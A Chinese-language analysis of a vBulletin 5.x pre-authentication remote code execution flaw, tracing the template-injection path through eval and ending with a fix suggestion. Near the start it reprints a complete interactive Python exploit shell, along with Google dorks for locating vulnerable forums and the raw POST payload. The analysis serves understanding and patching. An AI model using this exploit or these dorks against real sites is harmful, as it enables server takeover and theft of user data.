1.厂商介绍
vBulletin 是一个强大,灵活并可完全根据自己的需要定制的论坛程序套件。它使用目前发展速度最快的 Web 脚本语言编写: PHP,并且基于以高效和疾速著称的数据库引擎 MySQL。vBulletin是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。vBulletin高效,稳定,安全,在中国也有很多大型客户,比如蜂鸟网,51团购,海洋部落等在线上万人的论坛都用vBulletin。
尽管vBulletin 是一款商用产品,但它仍然是最热门的 web 论坛软件包,其市场份额要大于多种开源的解决方案如 phpBB、XenForo、Simple Machines Forum、MyBB等。W3Techs 表示,大约 0.1%的互联网网站都运行着 vBulletin 论坛。虽然这一比例看似较小,但实际上影响数亿互联网用户。因为从本质上来说,论坛旨在收集关于注册用户的信息。虽然数十亿个互联网站点并不存储任何用户信息,但少数在线论坛能够轻易地存储多数互联网用户的数据。因此,0.1%的市场份额实际上是非常大的比例,如果我们看到有多少名用户注册这些论坛。
谷歌Docks资料显示,互联网上运行着数万个 vBulletin 论坛,它们或是自托管安装,或是在 vBulletin 的托管基础设施上运行。vBulletin 官网上列出了很多大客户如 Steam、EA、Zynga、NASA、Sony、BodyBuilding.com、the Huston Taxans和 Deven Broncos。
官方网站: http://www.vBulletin.com
2.漏洞poc
根据国外匿名黑客扔出的poc脚本来进行辅助分析,同时根据预警此漏洞只影响vBulletin 5.x.x版本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# – site:*.vbulletin.net
# – “Powered by vBulletin Version 5.5.4”
import requests
import sys
if len(sys.argv) != 2:
sys.exit(“Usage: %s <URL to vBulletin>” % sys.argv[0])
params = {“routestring”:“ajax/render/widget_php”}
while True:
try:
cmd = raw_input(“vBulletin$ “)
params[“widgetConfig[code]”] = “echo shell_exec(‘”+cmd+“‘); exit;”
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print r.text
else:
sys.exit(“Exploit failed! :(“)
except KeyboardInterrupt:
sys.exit(“nClosing shell…”)
except Exception, e:
sys.exit(str(e))
|
这里代码不是很复杂,经过对代码的简单剖析,转换为http链接为
1
2
|
http://x.x.x.x/index.php
POST:routestring=ajax/render/widget_php&widgetConfig[code]=rce代码
|
3.漏洞分析
下面开始对代码进行动态调试 首先进入index.php的第35行判断是否为快速路由,如果是则进入if语句中
1
2
3
4
5
6
7
8
9
|
//For a few set routes we can run a streamlined function.
if (vB5_Frontend_ApplicationLight::isQuickRoute())
{
$app = vB5_Frontend_ApplicationLight::init(‘config.php’);
if ($app->execute())
{
exit();
}
}
|
我们跟进isQuickRoute函数,看看所属路由是否在快速路由当中,代码位于includes/vb5/frontend/applicationlight.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
/** Tells whether this class can process this request
*
* @return bool
*/
public static function isQuickRoute()
{
if (empty($_REQUEST[‘routestring’]))
{
return false;
}
if (isset(self::$quickRoutes[$_REQUEST[‘routestring’]]))
{
return true;
}
if (substr($_REQUEST[‘routestring’], 0, 8) == ‘ajax/api’)
{
return true;
}
if (substr($_REQUEST[‘routestring’], 0, 11) == ‘ajax/render’)
{
return true;
}
return false;
}
|
poc中为ajax/render开头,所以这里poc为快速路由,我们继续调试,跟进其中的app->execute函数,代码位于includes/vb5/frontend/applicationlight.php中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public function execute()
{
if (!isset($this->application))
{
throw new vB_Exception_Api(‘invalid_request’);
}
$serverData = array_merge($_GET, $_POST);
if (!empty($this->application[‘handler’]) AND method_exists($this, $this->application[‘handler’]))
{
$app = $this->application[‘handler’];
call_user_func(array($this, $app));
return true;
}
…………
}
|
这里通过调用call_user_func来加载app的变量和路由,继续跟进来到下面的模板渲染代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
/** This renders a template from an ajax call
*/
protected function callRender()
{
$routeInfo = explode(‘/’, $_REQUEST[‘routestring’]);
if (count($routeInfo) < 3)
{
throw new vB5_Exception_Api(‘ajax’, ‘api’, array(), ‘invalid_request’);
}
$params = array_merge($_POST, $_GET);
$this->router = new vB5_Frontend_Routing();
$this->router->setRouteInfo(array(‘action’ => ‘actionRender’, ‘arguments’ => $params,
‘template’ => $routeInfo[2], ‘queryParameters’ => $_GET));
Api_InterfaceAbstract::setLight();
$this->sendAsJson(vB5_Template::staticRenderAjax($routeInfo[2], $params));
}
|
这里没有太多的坑,直接进入到最后一行的staticRenderAjax函数,代码位于includes/vb5/template.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
/**
* Returns a string containing the rendered template
* @see vB5_Frontend_Controller_Ajax::actionRender
* @param string $templateName
* @param array $data
* @return string
*/
public static function staticRenderAjax($templateName, $data = array())
{
$rendered = self::staticRender($templateName, $data, true, true);
$css = vB5_Template_Stylesheet::instance()->getAjaxCssLinks();
return array(
‘template’ => $rendered,
‘css_links’ => $css,
);
}
|
进入到其中的staticRender函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false)
{
if (empty($templateName))
{
return null;
}
$templater = new vB5_Template($templateName);
foreach ($data as $varname => $value)
{
$templater->register($varname, $value);
}
$core_path = vB5_Config::instance()->core_path;
vB5_Autoloader::register($core_path);
$result = $templater->render($isParentTemplate, $isAjaxTemplateRender);
return $result;
}
|
同样由于没有任何的限制和异常处理,比如说return这种,那么最终进入render函数,也是渲染模板的最终函数,这里精选其中的问题代码以作演示和说明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$templateCache = vB5_Template_Cache::instance();
$templateCode = $templateCache->getTemplate($this->template);
if(is_array($templateCode) AND !empty($templateCode[‘textonly’]))
{
$final_rendered = $templateCode[‘placeholder’];
}
else if($templateCache->isTemplateText())
{
@eval($templateCode);
}
else
{
if ($templateCode !== false)
{
@include($templateCode);
}
}
|
这里通过读取模板代码来进行渲染,那么这里模板代码文件根据前面的路由来,应该是widget_php的模板变量,所有的模板均代码位于core/install/vbulletin-style.xml,其通过xml标签来进行解析,跟进去就会发现widget_php为模板名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<template name=“widget_php” templatetype=“template” date=“1409841312” username=“vBulletin Solutions” version=“5.1.4 Alpha 5”><![CDATA[<vb:if condition=“empty($widgetConfig) AND !empty($widgetinstanceid)”>
{vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}}
</vb:if>
<vb:if condition=“!empty($widgetConfig)”>
{vb:set widgetid, {vb:raw widgetConfig.widgetid}}
{vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}}
</vb:if>
<div class=“canvas-widget default-widget custom-html-widget” id=“widget_{vb:raw widgetinstanceid}” data–widget–id=“{vb:raw widgetid}” data–widget–instance–id=“{vb:raw widgetinstanceid}”>
{vb:template module_title, widgetConfig={vb:raw widgetConfig}, can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
<div class=“widget-content”>
<hr class=“widget-header-divider” />
<vb:if condition=“!empty($widgetConfig[‘code’]) AND !$vboptions[‘disable_php_rendering’]”>
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
{vb:raw $evaledPHP}
<vb:else />
<vb:if condition=“$user[‘can_use_sitebuilder’]”>
<span class=“note”>{vb:phrase click_edit_to_config_module}</span>
</vb:if>
</vb:if>
</div>
</div>]]></template>
|
这里通过xml文件的格式解析获取widget_php模板代码,并通过前面的eval来执行解析后的模板代码,其中widgetConfig[‘code’]代码最终又会通过evalCode来执行其中代码,所以会有两层的eval函数。
这是通过动态调试跟进到最后一步的调试过程,可以看到最后利用eval去执行模板代码,其中模板代码又会有一层代码执行,函数为evalCode
1
2
3
4
5
6
7
8
|
function evalCode($code)
{
ob_start();
eval($code);
$output = ob_get_contents();
ob_end_clean();
return $output;
}
|
最终返回final_rendered变量,所以说这个漏洞的本质其实是通过模板注入造成的rce漏洞
4.修复建议
模板渲染时限定变量代码或者使用静态变量代替。
1 前言 本文并没有什么新的姿势点,主要是在seebug上偶然看到c0ny1 师傅的一篇《半自动化挖掘 request 实现多种中间件回显》,该文提出了一种半自动化挖掘中间件回显的方法,并且也给出了相应的使用方法,网上也没有找到相应的说明说明,于是本着研究的心…
请登录后发表评论
注册